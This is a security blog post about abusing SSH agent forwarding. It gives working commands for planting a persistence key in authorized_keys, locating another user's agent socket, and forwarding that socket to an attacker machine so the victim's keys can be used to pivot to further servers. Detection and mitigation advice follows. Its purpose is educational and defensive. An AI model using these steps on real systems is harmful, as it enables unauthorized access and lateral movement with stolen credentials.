This is a story all about how my auth got flipped, turned inside out.
I love SSH.
No really, SSH is awesome. I remember first learning how to do cool SSH things from Hak5 videos in 2012. Then I got intimate with the man pages.
I love SSH keys, too. Soft keys, hard keys, all keys really. Whether you generated it with ssh-keygen
and it lives happily at ~/.ssh/id_ed25519
or you bought a yubikey and it lives safely behind a touch or PIN, SSH keys are awesome. But sometimes managing SSH keys can be a real pain in the neck. Or worse, having to keep re-entering your password every time you want to scp a file to the remote host or execute a command across a fleet of servers. You ARE using passwords on your SSH keys, aren’t you? Enter the ssh-agent
.
SSH agents are nifty little applications that let you authenticate to your key once, and then it keeps that in memory so that you don’t have to keep reauthenticating. The security of key-based authentication, the security of using a password on your keys, without the headache of having to type your password over and over again. There are even ways to load your yubikey into your SSH agent! Or make your agent available on the servers that you’re connecting to!
Or make your agent available on the servers that you’re connecting to…
This is called SSH Agent Forwarding. You may know it as ForwardAgent yes
or maybe even ssh -A
. It works by creating a special file on the remote server called a unix domain socket. This socket allows the remote server to talk to your SSH agent on your workstation via your SSH connection. The SSH agent that you loaded your private keys into so that you didn’t need to use a password or pin to use them.
This socket is typically created in /tmp/ssh-*
, but you can see where it is by running echo $SSH_AUTH_SOCK
. This socket belongs to your user, so only your user can use it, right? Well, kind of. Only your user, plus the sudoers on the machine, plus any attackers who have compromised your user. Maybe you’re the only one with an account on the server so you don’t have to worry about other users abusing your SSH agent. Except you’re running a WordPress blog as a shared user and it’s been compromised through a fancy free theme you installed 8 years ago, and now an attacker has access to your SSH agent and the ability to use the keys that lie within it. The private keys.
Let’s talk about abusing SSH Agent Forwarding.
Common use cases for SSH Agent Forwarding include, but are not limited to:
git clone
source codeHi kids! Do you like violence? Do you want to see me stick AUTH_SOCKS through each one of my devices?
I’ve had a fascination with abusing Agent Forwarding ever since I saw the Matrix hackers use it in 2019. On shared hosts, like network bastions or production servers that your whole team has access to, I don’t like the idea of trusting that none of the other users on the machine have been compromised. I don’t like the idea of not knowing when my keys are being used in my agent.
I’m calling this ForwardAgentForward, because well, we’re forwarding the forwarded agent. Forwarding it right to your laptop so that we can use it for whatever shenanigans we want. Really all it is is ForwardAgent combined with LocalForward.
The attack described herein assumes the following to be true:
ssh-add ~/.ssh/id_ed25519
ForwardAgent yes
set in their .ssh/config
OR regularly uses ssh -A
to ssh to servers.The victim of this attack, the person whose SSH agent is going to be hijacked, only needs to have logged into the compromised server with agent forwarding and keys loaded into their agent. E.g.
joey@workstation:~$ eval $(ssh-agent)
joey@workstation:~$ ssh-add ~/.ssh/id_ed25519
joey@workstation:~$ ssh -A [email protected]
If we assume the attacker has joey
access on a.rooted-servers.net
, and wants to pivot to b.rooted-servers.net
, the attack will play out like so:
On the compromised server: If we don’t already have ssh access to the host, let’s add our ssh key so that we can come back as joey later, and then find out where the real joey’s SSH_AUTH_SOCK
is.
# Write out our attacker's key to ~/.ssh/authorized_keys (or ~/.ssh/authorized_keys2 because some distros still include this as a default allowed file)
[email protected]:~$ echo ssh-ed25519 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> ~/.ssh/authorized_keys
# Identify the directory and socket that the real joey is using
[email protected]:~$ ls -lah /tmp/ssh-* 2>/dev/null
/tmp/ssh-AAAAAAAAAA:
total 0
drwx------ 2 joey joey 60 Mar 19 01:07 .
drwxrwxrwt 14 root root 1160 Mar 19 01:21 ..
srwxr-xr-x 1 joey joey 0 Mar 19 01:07 agent.1337
On the attacker’s workstation: Create a new SSH connection to a.rooted-servers.net
as joey
in order to establish the local forward.
# -N don't execute a command, -f fork to background, -L establish a local forward
# ~/.ssh/joey_sock path to the local file that will be created
# /tmp/ssh-AAAAAAAAAA/agent.1137 path to the socket that you're forwarding to
plague@hackbook:~$ ssh -N -f -L ~/.ssh/joey_sock:/tmp/ssh-AAAAAAAAAA/agent.1137 [email protected]
# Set SSH_AUTH_SOCK environment variable for this command to the socket that forwards to a.rooted-servers.net
# Then connect to b.rooted-servers.net
plague@hackbook:~$ SSH_AUTH_SOCK=~/.ssh/joey_sock [email protected]
[email protected]:~$ hostname -f
b.rooted-servers.net
Alternate Flow: Let’s say we already have SSH access to [email protected]
and our current shell was established via SSH. No need to create a second connection! Ctrl-f for “Escape characters” on the ssh man page.
# Identify the directory and socket that the real joey is using
[email protected]:~$ ls -lah /tmp/ssh-* 2>/dev/null
/tmp/ssh-AAAAAAAAAA:
total 0
drwx------ 2 joey joey 60 Mar 19 01:07 .
drwxrwxrwt 14 root root 1160 Mar 19 01:21 ..
srwxr-xr-x 1 joey joey 0 Mar 19 01:07 agent.1337
[email protected]:~$ ~C
ssh> ?
Commands:
-L[bind_address:]port:host:hostport Request local forward
-R[bind_address:]port:host:hostport Request remote forward
-D[bind_address:]port Request dynamic forward
-KL[bind_address:]port Cancel local forward
-KR[bind_address:]port Cancel remote forward
-KD[bind_address:]port Cancel dynamic forward
[email protected]:~$ ~C
ssh> -L ~/.ssh/joey_sock:/tmp/ssh-AAAAAAAAAA/agent.1137
Forwarding port.
I’m not actually going to detail the whole attack again for a root compromise, because all you really need to know is that with the ability to establish ssh connections to [email protected]
, you can make use of any /tmp/ssh-*
agent socket, rather than only the one for a particular user.
One cool thing about this attack is that no suspicious commands are really executed on the compromised server. Yeah you’re going to add a key to authorized_keys
, which you should probably be monitoring for changes to. But otherwise there’s no shady commands being executed on the server itself to show up in audit logs. All the shady business is happening on the attacker controlled machine.
/tmp
directory is probably fairly common and will produce a lot of false positives.sshd
logging level to DEBUG1, and then your sshd
logs will include information about established forwarding.I guess the answer for this is basically that it’s difficult to detect without generating a bunch of extra information or risking a lot of false positives, and that maybe it’s better to try to prevent it as much as possible.
For the earlier use cases, there are alternative options that should be considered.
ForwardAgent
so that you can ssh from the remote host, use ProxyJump
or ProxyCommand
to SSH through the remote host and into whatever it is that you were going to SSH to from the server.ForwardAgent
to get access to your ssh keys to clone authenticated repositories, you can generate an ssh key on the machine and use it as a read-only deployment key. This is supported in Bitbucket, GitHub, and GitLab. You can also put a password on this key if you’d like, so that an attacker wouldn’t be able to arbitrarily pull down new versions of the source code.Connoisseurs of the man pages might now point out that ssh-add
supports -c
which tells the agent to ask for confirmation each time a key is used. This might seem like a good solution, and maybe it is for certain use cases where you just want to leave your keys in memory all the time because the password is 80 characters that you memorized 6 years ago and don’t want to type often. But it’s not a very good solution when you want to get the benefits of automation that use of an SSH agent can provide, since you’ll be asked for confirmation every time the key is accessed. Plus, if the SSH_ASKPASS
environment variable isn’t set, the confirmation won’t show up. The connection will fail, but you won’t have seen a confirmation request.
Another option to mitigate this is to modify /etc/ssh/sshd_config
and set AllowAgentForwarding no
. This is not a panacea, though. The man pages will even tell you that this does not improve security, because users can just install their own forwarders. I do recommend doing this for multi-user machines anyways, because my experience suggests that a lot of users are using ForwardAgent yes
simply because they think they have to in order to use their ssh agent. Or they are using it because it was in a command on StackOverflow. If a user has to bring their own forwarder, it’s much less likely to be done on accident.
Educating users about alternatives to ForwardAgent
for their specific use case is really the best we can hope for, though.
This is just a quick night’s blog post about a technique that I think is super cool, particularly because it can be difficult to detect and can allow all sorts of mass pivoting if you already have an idea of where a particular user has access to.